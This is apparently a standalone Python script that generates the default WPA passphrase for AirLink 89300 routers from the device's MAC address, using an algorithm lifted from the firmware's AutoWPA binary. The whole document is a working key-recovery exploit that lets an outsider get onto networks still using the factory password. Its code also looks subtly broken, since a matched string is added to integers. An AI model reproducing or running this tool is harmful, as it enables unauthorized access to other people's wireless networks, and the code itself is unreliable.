AirLink 89300 AutoWPA PSK generator

jensen-autowpa.py

#!/usr/bin/env python
import sys, re

if len(sys.argv) != 2:
    sys.exit("Usage: {0} <MAC address>".format(sys.argv[0]))

mac = bytearray(sys.argv[1].lower().translate(None, '-:'))

# straight from /bin/AutoWPA
alphabet = bytearray("2345679abcdefghjklmnopqrstuvwxyzACDEFGHIJKLMNPQRSTUVWXYZ")

# kinda, sorta emulate atol(3)
l = 0
match = re.search('^(\d+)', mac[6:])
if match:
    l = match.group(0)

wpa = (
    ((l + mac[11] + mac[ 5]) * (mac[ 9] + mac[ 3] + mac[11])),
    ((l + mac[11] + mac[ 6]) * (mac[ 8] + mac[10] + mac[11])),
    ((l + mac[ 3] + mac[ 5]) * (mac[ 7] + mac[ 9] + mac[11])),
    ((l + mac[ 6] + mac[ 7]) * (mac[11] + mac[ 4] + mac[ 5])),
    ((l + mac[ 6] + mac[ 7]) * (mac[ 8] + mac[ 9] + mac[11])),
    ((l + mac[ 5] + mac[11]) * (mac[11] + mac[ 3] + mac[ 4])),
    ((l + mac[ 4] + mac[11]) * (mac[11] + mac[ 6] + mac[ 8])),
    ((l + mac[10] + mac[11]) * (mac[11] + mac[ 7] + mac[ 8]))
)

print bytearray(map(lambda x:alphabet[x % 56], wpa))